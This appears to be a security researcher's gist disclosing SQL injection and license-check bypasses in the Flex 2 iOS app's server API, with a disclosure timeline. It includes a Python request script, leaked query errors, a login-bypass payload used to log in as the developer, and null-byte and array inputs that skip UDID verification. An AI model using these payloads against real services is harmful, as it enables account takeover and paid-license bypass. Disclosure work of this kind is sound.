This gist includes multiple SQL injection vulnerabilities I found by accident in a bus while travelling. These vulnerabilities are easy to find and easy to exploit, and critical.
I already have Flex legacy paid but, can't buy Flex 2 because of credit card restrictions. Anyway, I decided to give Flex 2 a shot, downloaded the beta from getdelta.co
For fun, I tried to figure out whether spoofing UDID is possible by patching Flex 2 itself. I already knew you have put so much work into DRM. I'm still unsuccessful at this.
After patching Flex > FLAPatch > setCloudID, I have stumbled upon this error
This python script emulates the communication between Flex.app and the server:
import requests
import json
from pprint import pprint
request = {
"patchID" : 1,
"action" : "patchInfo",
"iosLong" : 70004,
"udid" : "PythEch",
"ios" : "7.0.4",
"version" : "1.928"
}
print "JSON Request:\n"
pprint(request)
request = "request=" + json.dumps(request)
s = requests.session()
s.headers = None
print "\nResponse:\n"
response = s.post('http://getdelta.co/flex/flexAPI.php', request)
print response.text
Normal output:
JSON Request:
{'action': 'patchInfo',
'ios': '7.0.4',
'iosLong': 70004,
'patchID': 1,
'udid': 'PythEch',
'version': '1.928'}
Response:
{"status":"success","result":{"patch":{"id":1,"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","downloads":51,"app":1,"description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","authorID":1,"averageRating":1,"userRating":0,"downloadDate":1400879180}},"ip":"[redacted]","yourudid":"pythech"}
But let's say I use 1'
instead of 1
as patchID:
JSON Request:
{'action': 'patchInfo',
'ios': '7.0.4',
'iosLong': 70004,
'patchID': "1'",
'udid': 'PythEch',
'version': '1.928'}
Response:
log: MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' AND apps.id = patches.app AND authors.id = patches.author' at line 11. query: "SELECT patches.id, UUID, label, author, description, apps.identifier AS `appIdentifier`,
apps.id AS `app`,
authors.username AS `authorName`,
(SELECT SUM(downloads.count) FROM downloads WHERE downloads.patchid=patches.id) AS `downloads`,
(SELECT SUM(ratings.rating) FROM ratings WHERE ratings.patchid=patches.id) AS `ratingsSum`,
(SELECT COUNT(ratings.id) FROM ratings WHERE ratings.patchid=patches.id) AS `totalRatings`,
userRating.rating as `userRating`
FROM patches
LEFT JOIN ratings AS userRating on userRating.patchid=patches.id AND userRating.udid='PythEch',
apps, authors
WHERE patches.id = 1\' AND apps.id = patches.app AND authors.id = patches.author;"
<br>{"status":"success","result":{"patch":false},"ip":"[redacted]","yourudid":"pythech"}
This is the typical SQL Injection check, as can be seen from here
Using this technique, I have discovered that all of the SQL queries are vulnerable except action :downloadPatch
JSON Request:
{'action': 'appPatchList',
'appID': "1000'",
'ios': '7.0.4',
'iosLong': 7004,
'udid': 'PythEch',
'version': '1.928'}
Response:
log: MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1000'' and `removed` = FALSE AND moderated = 1
AND `authors`.`id` = `patches`.' at line 4. query: "SELECT `patches`.`id`, `author`, `label`, `description`, `ios`,
`authors`.`username` AS `authorName`, SUM(`downloads`.`count`) as `downloads`
FROM `patches` LEFT JOIN `downloads` ON `downloads`.`patchid`=`patches`.`id`, `authors`
WHERE `app` = '1000'' and `removed` = FALSE AND moderated = 1
AND `authors`.`id` = `patches`.`author`
GROUP BY `patches`.`id`;"
<br><br />
<b>Warning</b>: Invalid argument supplied for foreach() in <b>/www/beta/flex/models/patch.class.php</b> on line <b>116</b><br />
{"status":"success","result":{"patches":[]},"ip":"[redacted]","yourudid":"pythech"}
JSON Request:
{'action': 'login',
'ios': '7.0.4',
'iosLong': 70004,
'password': 'something',
'udid': 'PythEch',
'username': "SomeUser'",
'version': '1.928'}
Response:
log: MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'SomeUser'' ) AND
`password` LIKE '%2594863a4b8d41058d59eabb588b61b9e2fd44d6'' at line 3. query: " SELECT `id`, `username`
FROM `authors`
WHERE (`username` = 'SomeUser'' OR `email` = 'SomeUser'' ) AND
`password` LIKE '%2594863a4b8d41058d59eabb588b61b9e2fd44d6';"
<br>{"status":"error","alert":{"title":"Login Error","message":"Check your username or password."},"ip":"[redacted]","yourudid":"pythech"}
Because the server gave me the exact MySQL query, it was very easy to exploit this. For proof of concept, I will login as JohnCoates.
Query:
SELECT `id`, `username`
FROM `authors`
WHERE (`username` = '$username' OR `email` = '$username' ) AND
`password` LIKE '$hash';
This is very trivial to exploit, a malicious user can manipulate the SQL query. If there wasn't paranthesis, this would work:
JohnCoates' OR ''='
After string concatination, the SQL query string will become this:
SELECT `id`, `username`
FROM `authors`
WHERE (`username` = 'JohnCoates' OR ''='' OR `email` = 'JohnCoates' OR ''='' ) AND
`password` LIKE '$hash';
This will fail, due to I didn't break the password verification.
There is one more step, removing paranthesis. While I cannot really remove them, because of the newline before password, I can close the paranthesis.
JohnCoates') OR (''='
Query:
SELECT `id`, `username`
FROM `authors`
WHERE (`username` = 'JohnCoates') OR (''='' OR `email` = 'JohnCoates') OR (''='' ) AND
`password` LIKE '$hash';
The order of the conditionals allows me to make it verify the user no matter what the password is.
Like in the famous xkcd comic, using string for SQL queries is as dangerous as using eval().
This stackoverflow answer is a very good way to prevent such attacks.
In short, PDO seperates the SQL code from the data which mitigates the sql injection completely. But don't forget to disable emulation like it says.
I said I was unable to exploit downloadPatch
earlier, well no longer! Obviously that action checks if UDID is valid, but it seems database encoding has some limitations. Normally this shouldn't be a problem, but a missing exception check breaks UDID verification as can be seen below:
JSON Request:
{'action': 'downloadPatch',
'ios': '7.0.4',
'iosLong': 70004,
'patchID': 1,
'udid': 'Ä\xb1', # ı (infamous dotless i from Turkish keyboard which is known to break some programs)
'version': '1.928'}
Response:
log: MySQL Error: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='. query: "SELECT id FROM licensed WHERE udid = 'ı' AND product = 1 LIMIT 1;"
<br>{"status":"success","result":{"patch":{"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","units":[{"method":{"name":"canShowLockScreenCameraGrabber","label":"- (BOOL) canShowLockScreenCameraGrabber","returnType":"BOOL","class":"SpringBoard"},"name":"camera grabber","overrideValue":false,"disableFunction":false}],"uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","downloadDate":1401791362,"id":1}},"ip":"88.230.36.128","yourudid":"\u0131"}
There a lot of unicode chracters, but NULL character is the most insteresting one:
JSON Request:
{'action': 'downloadPatch',
'ios': '7.0.4',
'iosLong': 70004,
'patchID': 1,
'udid': '\x00',
'version': '1.928'}
Response:
<br />
<b>Warning</b>: file_get_contents(http://cydia.saurik.com/api/check?api=store-0.9&device=%00&host=88.230.36.128&mode=local&nonce=538db1a272436&package=com.fuyuchi.flex2&timestamp=1401794978&vendor=acapulco1988&signature=NDnXHSyI5NFTgGc5iIFtKdqSIBo): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden
in <b>/www/beta/flex/models/license.class.php</b> on line <b>168</b><br />
{"status":"success","result":{"patch":{"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","units":[{"method":{"name":"canShowLockScreenCameraGrabber","label":"- (BOOL) canShowLockScreenCameraGrabber","returnType":"BOOL","class":"SpringBoard"},"name":"camera grabber","overrideValue":false,"disableFunction":false}],"uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","downloadDate":1401794978,"id":1}},"ip":"88.230.36.128","yourudid":"\u0000"}
Similarly, this can also be used to crash server, which also reveals more information:
JSON Request:
{'action': 'downloadPatch',
'ios': '7.0.4',
'iosLong': 70004,
'patchID': 1,
'udid': ['crash'],
'version': '1.928'}
Response:
<br />
<b>Warning</b>: strtolower() expects parameter 1 to be string, array given in <b>/www/beta/flex/controllers/api/handler.class.php</b> on line <b>19</b><br />
<br />
<b>Warning</b>: strtolower() expects parameter 1 to be string, array given in <b>/www/beta/flex/models/license.class.php</b> on line <b>40</b><br />
<br />
<b>Warning</b>: file_get_contents(http://cydia.saurik.com/api/check?api=store-0.9&host=88.230.36.128&mode=local&nonce=538db1689f907&package=com.fuyuchi.flex2&timestamp=1401794920&vendor=acapulco1988&signature=sE3CQy8ophN61DU5QYUD2auOFO0): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request
in <b>/www/beta/flex/models/license.class.php</b> on line <b>168</b><br />
<br />
<b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>/www/beta/flex/models/db/server/abstract/base.class.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>: strtolower() expects parameter 1 to be string, array given in <b>/www/beta/flex/models/io/api.class.php</b> on line <b>97</b><br />
{"status":"success","result":{"patch":{"label":"Hide Camera Grabber","enabled":false,"identifier":"com.apple.springboard","units":[{"method":{"name":"canShowLockScreenCameraGrabber","label":"- (BOOL) canShowLockScreenCameraGrabber","returnType":"BOOL","class":"SpringBoard"},"name":"camera grabber","overrideValue":false,"disableFunction":false}],"uuid":"24C740DF-803C-416B-95B6-2CB8D3B6CCFE","description":"Hides the camera grabber on the lock screen. (iOS 6 only)","author":"JohnCoates","downloadDate":1401794920,"id":1}},"ip":"88.230.36.128","yourudid":null}
15.05.2014: Discovered the vulnerability.
22.05.2014: Notified the developer and recieved positive response.
23.05.2014: Disclosed the vulnerability to the developer and recieved free license!
03.06.2014: Discovered another vulnerability and reported to the developer. Former vulnerability is still unfixed.